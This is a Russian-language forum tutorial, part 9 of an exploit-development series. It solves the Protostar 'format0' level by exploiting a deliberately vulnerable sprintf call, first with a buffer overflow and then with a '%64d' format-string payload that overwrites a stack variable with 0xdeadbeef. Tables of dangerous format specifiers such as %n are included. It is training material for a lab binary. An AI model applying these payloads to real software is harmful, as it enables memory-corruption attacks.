

Сервисы Codeby

Вход

Регистрация

Форум информационной безопасности - Codeby.net



En



14 июня стартует курс «[Python для Пентестера](#)» от команды The Co

Курс состоит из двух частей - базовой и продвинутой. В базовой части курса вы узнаете основы Python, который поможет применять Python пентестеру в создании своих инструм

Запись на курс до 25 июня. [Подробнее ...](#)

Форум



Защита информации / Конфиденциальность

[Reverse engineering](#)

Статья Уязвимости форматных строк и перезапись переменных к конкретному значению - разработка эксплойтов, часть 9

fuzzzz · 21.05.2019 ·

переполнение буфера

разработка эксплойтов

руководство

символы форматирования

уязвимости форматных строк

21.05.2019 · Ответы: 4



Доброго времени суток посетители портала Codeby. Предыдущей статье мы познакомились с ROP. Для обхода ограничения в адресах мы воспользовались ret инструкцией. И хоть тема ROP была освящена не во всей красе, мы к ней еще вернемся. В этой статье мы будем знакомиться с уязвимостями форматных строк и посмотрим к каким последствиям может привести данные баги. И так...

Описание ExploitMe

На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

Принять

Узнать больше....

- Этот уровень должен быть выполнен менее чем за 10 байтов ввода.
- «Использование уязвимостей форматной строки»

Этот уровень находится в / opt / protostar / bin / format0

Format0, VM

Исходный код

```
C:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
    volatile int target;
    char buffer[64];

    target = 0;

    sprintf(buffer, string);

    if(target == 0xdeadbeef) {
        printf("you have hit the target correctly :)\n");
    }
}


int main(int argc, char **argv)
{
    vuln(argv[1]);
}
```

Решение

Для начала рассмотрим данный нам код программы для того, чтобы понять как это всё дело работает. Начнем как всегда устного анализа. Есть две функции main() и vuln(). В свою очередь, главная функция main() вызывает функцию vuln(), Функция vuln() принимает строку, через аргумент из главной функции. В теле функции vuln(), есть целочисленная переменная target, есть буфер на 64 байта. По мимо всего это присутствует некая функция sprintf(), а так же есть условие if.



На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

 Принять

Узнать больше....

аналогичное. Но вот беда. Тут нету функции `gets()` и `strcpy()`. Как быть? Я думаю, что первое, что надо сделать, это посмотреть описание функции `sprintf()` которая взаимодействует с буфером.

И так, вот краткое описание функции `sprintf()`.

Функция `sprintf()` идентична `printf()`, за исключением того, что вывод производится в массив, указанный аргументом `buf`.

Код:

```
sprintf(приемник, источник)
```

Возвращаемая величина равна количеству символов, действительно занесенных в массив.

Из этого следует, что мы можешь писать в буфер данные.

Давайте попробуем.

Запустим программу и введем последовательность символом из
"AAAAAAAAAAAAAAAAAAAA...."

```
$ ./format0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
$
```

Так становится ясно, функция `sprintf()` тоже не проверяет границы. Она аналогичная функции `gets()`.

Поэтому мы можем выполнить это задание проэксплуатировав уязвимость переполнение буфера.

Эксплуатация уязвимости будет выглядеть следующим образом

Код:

```
./format0 `python -c 'print "A"*64 + "\xde\xad\xbe\xef"[:-1]`
```



На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

Принять

[Узнать больше....](#)

```
$ ./format0 `python -c 'print "A"*64 + "\xde\xad\xbe\xef"[:-1]`  
you have hit the target correctly :)  
$
```

На экране отобразилась строчка **"you have hit the target correctly"**. Класс...

Но цель задания знакомство с уязвимостями форматирования, т.е. форматных строк.

Уязвимости форматных строк – это довольно обширный класс уязвимостей, которые возникают и могут быть проэксплуатированы вследствие ошибок программистов. Если программист передаёт контролируемый атакующим буфер в качестве аргумента функции `printf()` (или другую связанную с ней функцию такую, как, например, `sprintf()`, `fprintf()`), то злоумышленник может выполнять запись в произвольные места в памяти.

Один из методов использования строк формата очень похож на переполнение буфера. Вы можете записать большую строку в буфер с относительно короткой строкой формата.

Например, строка формата `%100d` приводит к 100-байтовой строке.

Используя этот трюк, можно просто писать в `buffer` и в `target`. Мы хотим создать строку формата, который записывает 64 символа с последующим `0xdeadbeef`, что приведет к перезаписи `target`.

Давайте поэкспериментируем с этим трюком.

Код:

```
$ ./format0 %100d  
Segmentation fault  
$ ./format0 %50d  
$ ./format0 %64d  
$ ./format0 %65d  
$ ./format0 %68d  
$ ./format0 %69d  
$ ./format0 %80d  
Segmentation fault  
$ ./format0 %79d  
Segmentation fault  
$ ./format0 %76d  
Segmentation fault  
$ ./format0 %75d
```



На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

Принять

Узнать больше....

```
$ ./format0 %100d
Segmentation fault
$ ./format0 %50d
$ ./format0 %64d
$ ./format0 %65d
$ ./format0 %68d
$ ./format0 %69d
$ ./format0 %80d
Segmentation fault
$ ./format0 %79d
Segmentation fault
$ ./format0 %76d
Segmentation fault
$ ./format0 %75d
```

Видно что мы можем даже перезаписать регистр EIP используя %76d.

Но наша задача сейчас не в этом, а понять как можно реализовать баги форматных строк.

Эксплуатация будет выглядеть и состоять из 3 составляющих.

Код:

```
./format0 %64d
$() - известная нам баш конструкция для подстановки значения.
python -c 'from struct import pack;print pack("I",0xdeadbeef)' - наше значение котор
```

А всё в месте это будет выглядеть таким образом...

Код:

```
./format0 %64d$(python -c 'from struct import pack;print pack("I",0xdeadbeef)')
```

Результат будет таким

```
$ ./format0 %64d$(python -c 'from struct import pack;print pack("I",0xdeadbeef)')
you have hit the target correctly :)
$ █
```

Отлично на экране отобразилась строчка **"you have hit the target correctly"**



На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

Принять

Узнать больше....

- «%x» Чтение данных из стека
- "%s" Чтение символьных строк из памяти процесса
- «%n» записать целое число в места в памяти процесса

Функция sprintf() не единственная функция в своем роде, есть и другие функции которые подтвержены уязвимостям форматных строк. Ниже приведена табличка.


Таблица 1. Функции форматирования

Функция форматирования	Описание
fprint	Записывает печать в файл
printf	Вывести отформатированную строку
sprintf	Печать в строку
snprintf	Печатает в строку, проверяя длину
vfprintf	Распечатывает структуру va_arg в файл
vprintf	Печатает структуру va_arg в стандартный вывод
vsprintf	Печатает va_arg в строку
vsnprintf	Печатает va_arg в строку, проверяя длину


Чтобы определить, уязвимо ли приложение для этого типа атак, необходимо проверить, принимает ли функция форматирования и анализирует ли параметры строки формата, показанные в таблице 2.

Таблица 2. Общие параметры, используемые при атаке форматной строки.

параметры	Вывод	Проходит как
%%	% символьный (буквальный) формат	Ссылка
%p	Внешнее представление указателя на void	Ссылка
%d	Десятичный формат	Значение
%c	Символьный формат	
%u	Десятичный без знака формат	Значение



На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

Принять

Узнать больше....

fuzzz Well-known member

Red Team

Сообщения: 202 · Реакции: 395

21.05.2019

 #2

Кстати на PHDays9

Будет интересный доклад по уязвимостям форматных строк

Уязвимость форматной строки в языке C

Международный форум по практической безопасности Positive Hack Days проходит каждую весну в Москве. Конференция, организованная компанией Positive Technologies, на два дня собирает вместе ведущих безопасников и хакеров со всего мира, представителей госструктур и крупных бизнесменов, молодых...

www.phdays.com

Советую сходить.

fuzzz

Red Team



03.02.2019



202



395

Bytes

452

R**Rink**

21.05.2019

 #3

А где 9 часть? 😂

fuzzz

21.05.2019

 #4Rink сказал(а): 

А где 9 часть? 😂

Ох лол.

Спасибо что заметил)))

Я подправил...

fuzzz

Red Team



На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

 Принять

Узнать больше....

03.02.2019

rink0

One Level

28.11.2017

62

65

Bytes288

22.05.2019

#5

fuzzz сказал(а):

Ох лол.
Спасибо что заметил)))
Я подправил...

пожалуйста))

я статью на тг канал хотел опубликовать, вижу 10 часть, я так стопээ, я вроде 9 не публиковал, пытался найти, но не нашёл, и понял что косяк))

fuzzz

[Для ответа нужно войти/зарегистрироваться](#)

Мы в соцсетях:



Похожие темы

[Статья](#) **Уязвимости форматных строк и перезапись глобальных переменных с контролированием данных для конкретного значения, - разработка эксплойтов, часть 13**
fuzzz · 24.11.2019 · Reverse engineering

Ответы: 0
Просмотры: 2 тыс.

24.11.2019
fuzzz



[Статья](#) **Уязвимости форматных строк и метод перенаправления выполнения в процессе - разработка эксплойтов, часть 14**
fuzzz · 07.12.2019 · Reverse engineering

Ответы: 1
Просмотры: 2 тыс.

30.03.2020
swagcat228



[Статья](#) **Переполнение Кучи и перезапись структурного указателя на функцию - разработка эксплойтов, часть 15**
fuzzz · 16.01.2020 · Reverse engineering

Ответы: 9
Просмотры: 3 тыс.

25.03.2020
fuzzz



На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы регистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

[Принять](#)[Узнать больше....](#)

[Статья](#) **Условие Write-what-where и перехват потока управления кодом - разработка эксплойтов, часть 16**
fuzzzz · 23.02.2020 · Reverse engineering



Ответы: 16
Просмотры: 3 тыс.

27.03.2020
swagcat228



[Статья](#) **Уязвимости форматных строк и перезапись глобальных переменных - разработка эксплойтов, часть 11**



Ответы: 6
Просмотры: 2 тыс.

20.06.2019
fuzzzz



Форум [fuzzzz · 02.06.2019 · Reverse engineering](#)



[Защита информации / Конфиденциальность](#)



[Reverse engineering](#)

Codeby Dark



Русский (RU)

[Условия и правила](#)

[Политика конфиденциальности](#)

[Помощь](#)

[Главная](#)



Community platform by XenForo® © 2010-2021 XenForo Ltd.

Parts of this site powered by XenForo add-ons from DragonByte™ ©2011-2021 DragonByte Technologies Ltd. (Details)

Перевод от Jumuro®

XenPorta 2 PRO © Jason Axelrod of 8WAYRUN



На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.



Принять

[Узнать больше....](#)